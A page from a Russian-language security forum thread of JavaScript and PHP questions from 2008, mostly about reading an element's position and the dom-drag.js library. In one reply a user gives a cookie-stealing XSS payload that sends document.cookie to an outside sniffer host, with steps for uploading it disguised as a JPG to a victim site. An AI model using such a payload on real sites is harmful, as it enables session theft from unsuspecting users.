ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #441  
Старый 09.04.2008, 01:06
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

astrologer, но это не валидно
 
Ответить с цитированием

  #442  
Старый 09.04.2008, 02:44
orcismylife
Познающий
Регистрация: 01.10.2007
Сообщений: 40
Провел на форуме:
172670

Репутация: 15
По умолчанию

Я двигаю слой. Как узнать текущее положение слоя по x и по у? А впоследствии записать эти значения в файл.
 
Ответить с цитированием

  #443  
Старый 09.04.2008, 09:04
VDShark
Участник форума
Регистрация: 01.02.2007
Сообщений: 286
Провел на форуме:
804931

Репутация: 526
По умолчанию

offsetLeft и offsetTop.
А в файл самим JS не запишешь (если мы говорим о клиенте).
На серве легче всего средствами php. Передаешь из JS-скрипта значения на PHP-скрипт, и записываешь их в файл.
 
Ответить с цитированием

  #444  
Старый 09.04.2008, 11:06
orcismylife
Познающий
Регистрация: 01.10.2007
Сообщений: 40
Провел на форуме:
172670

Репутация: 15
По умолчанию

VDShark, не получилось, FF вообще не показывает такой параметр, а IE пишет "undefinied" =\

Вот пример того, что я делаю, помоги пожалуйста
http://webfile.ru/1860086

надо, чтобы скрипт показывал текущее положение слоя по х и по у

Последний раз редактировалось orcismylife; 09.04.2008 в 11:22..
 
Ответить с цитированием

  #445  
Старый 09.04.2008, 11:28
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

Isis, можно поменять на title или хранить отдельно в массиве.

orcismylife,
Код:
window.onload = function()
{
  var node = document.getElementById('drag1');
  alert('offsetTop: ' + node.offsetTop + '\n' + 'offsetLeft: ' + node.offsetLeft);
};
 
Ответить с цитированием

  #446  
Старый 09.04.2008, 11:36
orcismylife
Познающий
Регистрация: 01.10.2007
Сообщений: 40
Провел на форуме:
172670

Репутация: 15
По умолчанию

astrologer, нужно чтобы при каждом дропе писалось значение, а не толко при старте
Это возможно, учитывая те яваскрипты, которые я дал в архиве?
 
Ответить с цитированием

  #447  
Старый 09.04.2008, 11:41
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

Цитата:
Сообщение от orcismylife  
astrologer, нужно чтобы при каждом дропе писалось значение, а не толко при старте
Это возможно, учитывая те яваскрипты, которые я дал в архиве?
Я лишь показал, что значение всё же определено.
А вообще, думаю, тебе пригодится DOM-Drag.js (автор не я):
Код:
/**************************************************
 * dom-drag.js
 * 09.25.2001
 * www.youngpup.net
 **************************************************
 * 10.28.2001 - fixed minor bug where events
 * sometimes fired off the handle, not the root.
 **************************************************/

var Drag = {

	obj : null,

	init : function(o, oRoot, minX, maxX, minY, maxY, bSwapHorzRef, bSwapVertRef, fXMapper, fYMapper)
	{
		o.onmousedown	= Drag.start;

		o.hmode			= bSwapHorzRef ? false : true ;
		o.vmode			= bSwapVertRef ? false : true ;

		o.root = oRoot && oRoot != null ? oRoot : o ;

		if (o.hmode  && isNaN(parseInt(o.root.style.left  ))) o.root.style.left   = "0px";
		if (o.vmode  && isNaN(parseInt(o.root.style.top   ))) o.root.style.top    = "0px";
		if (!o.hmode && isNaN(parseInt(o.root.style.right ))) o.root.style.right  = "0px";
		if (!o.vmode && isNaN(parseInt(o.root.style.bottom))) o.root.style.bottom = "0px";

		o.minX	= typeof minX != 'undefined' ? minX : null;
		o.minY	= typeof minY != 'undefined' ? minY : null;
		o.maxX	= typeof maxX != 'undefined' ? maxX : null;
		o.maxY	= typeof maxY != 'undefined' ? maxY : null;

		o.xMapper = fXMapper ? fXMapper : null;
		o.yMapper = fYMapper ? fYMapper : null;

		o.root.onDragStart	= new Function();
		o.root.onDragEnd	= new Function();
		o.root.onDrag		= new Function();
	},

	start : function(e)
	{
		var o = Drag.obj = this;
		e = Drag.fixE(e);
		var y = parseInt(o.vmode ? o.root.style.top  : o.root.style.bottom);
		var x = parseInt(o.hmode ? o.root.style.left : o.root.style.right );
		o.root.onDragStart(x, y);

		o.lastMouseX	= e.clientX;
		o.lastMouseY	= e.clientY;

		if (o.hmode) {
			if (o.minX != null)	o.minMouseX	= e.clientX - x + o.minX;
			if (o.maxX != null)	o.maxMouseX	= o.minMouseX + o.maxX - o.minX;
		} else {
			if (o.minX != null) o.maxMouseX = -o.minX + e.clientX + x;
			if (o.maxX != null) o.minMouseX = -o.maxX + e.clientX + x;
		}

		if (o.vmode) {
			if (o.minY != null)	o.minMouseY	= e.clientY - y + o.minY;
			if (o.maxY != null)	o.maxMouseY	= o.minMouseY + o.maxY - o.minY;
		} else {
			if (o.minY != null) o.maxMouseY = -o.minY + e.clientY + y;
			if (o.maxY != null) o.minMouseY = -o.maxY + e.clientY + y;
		}

		document.onmousemove	= Drag.drag;
		document.onmouseup		= Drag.end;

		return false;
	},

	drag : function(e)
	{
		e = Drag.fixE(e);
		var o = Drag.obj;

		var ey	= e.clientY;
		var ex	= e.clientX;
		var y = parseInt(o.vmode ? o.root.style.top  : o.root.style.bottom);
		var x = parseInt(o.hmode ? o.root.style.left : o.root.style.right );
		var nx, ny;

		if (o.minX != null) ex = o.hmode ? Math.max(ex, o.minMouseX) : Math.min(ex, o.maxMouseX);
		if (o.maxX != null) ex = o.hmode ? Math.min(ex, o.maxMouseX) : Math.max(ex, o.minMouseX);
		if (o.minY != null) ey = o.vmode ? Math.max(ey, o.minMouseY) : Math.min(ey, o.maxMouseY);
		if (o.maxY != null) ey = o.vmode ? Math.min(ey, o.maxMouseY) : Math.max(ey, o.minMouseY);

		nx = x + ((ex - o.lastMouseX) * (o.hmode ? 1 : -1));
		ny = y + ((ey - o.lastMouseY) * (o.vmode ? 1 : -1));

		if (o.xMapper)		nx = o.xMapper(y)
		else if (o.yMapper)	ny = o.yMapper(x)

		Drag.obj.root.style[o.hmode ? "left" : "right"] = nx + "px";
		Drag.obj.root.style[o.vmode ? "top" : "bottom"] = ny + "px";
		Drag.obj.lastMouseX	= ex;
		Drag.obj.lastMouseY	= ey;

		Drag.obj.root.onDrag(nx, ny);
		return false;
	},

	end : function()
	{
		document.onmousemove = null;
		document.onmouseup   = null;
		Drag.obj.root.onDragEnd(	parseInt(Drag.obj.root.style[Drag.obj.hmode ? "left" : "right"]), 
									parseInt(Drag.obj.root.style[Drag.obj.vmode ? "top" : "bottom"]));
		Drag.obj = null;
	},

	fixE : function(e)
	{
		if (typeof e == 'undefined') e = window.event;
		if (typeof e.layerX == 'undefined') e.layerX = e.offsetX;
		if (typeof e.layerY == 'undefined') e.layerY = e.offsetY;
		return e;
	}
};
Тут нужно только необходимые параметры указать.
 
Ответить с цитированием

  #448  
Старый 09.04.2008, 14:18
servior
Новичок
Регистрация: 27.02.2007
Сообщений: 5
Провел на форуме:
157807

Репутация: 5
По умолчанию

Вопрос к отцам. подскажите как вставить код xss-ки в jpg?
 
Ответить с цитированием

  #449  
Старый 09.04.2008, 14:39
ZET36
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
Провел на форуме:
500748

Репутация: 137
По умолчанию

Цитата:
Сообщение от servior  
подскажите как вставить код xss-ки в jpg?
ды очень просто. берёш запихиваеш код передачи куков на сниф
Код:
<script>img = new Image(); img.src = "http://antichat.org/s/red.gif?"+document.cookie;</script>
в текст документ и сохраняеш с расширением .jpg и пытаешся залить эту картинку на сайт жертвы. если есть фильтрация то скажет что формат не поддерживается.. если нет то картинка загрузится и значит xss есть

вот пример такой уязвимости хсс в картинке на яндэксе
http://narod.yandex.ru/community/photo/48/156948.jpg

скрипт в картинке можно залить в поле Фотография когда создаёш сообщество.

но такие хсс в картинках актуальны только под осликом
 
Ответить с цитированием

  #450  
Старый 09.04.2008, 15:15
ZET36
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
Провел на форуме:
500748

Репутация: 137
По умолчанию

Цитата:
Сообщение от Rogun  
Сорри за такой вопрос вопрос, но как юзать Java скрипт?
Я скачал там и у меня как обычный тестовый фаил только в формате Java
Надо ещё программы для чтения ява скриптов устанавливать или как?
интерпретатор джава скрипта уже установлен в винде C:\WINDOWS\system32\cscript.exe

а выполнять java скрипты можно например так

создаёш текстовый документ пишеш в нём
Код:
<script>
тут твой скрипт
</script>
и сохраняеш с расширением .html

или например если хочеш выполнить скрипт который у тебя находится в файле скрипт.js то создаёш текстовый документ пишеш в нём

Код:
<script src="путь к срипту/скрипт.js"></script>
и сохраняеш с расширением .html
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Delphi]/[Pascal] Задай вопрос, получи ответ Isis С/С++, C#, Delphi, .NET, Asm 6762 17.06.2010 21:23
Proxy FAQ foreva Чужие Статьи 12 04.01.2008 12:15
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ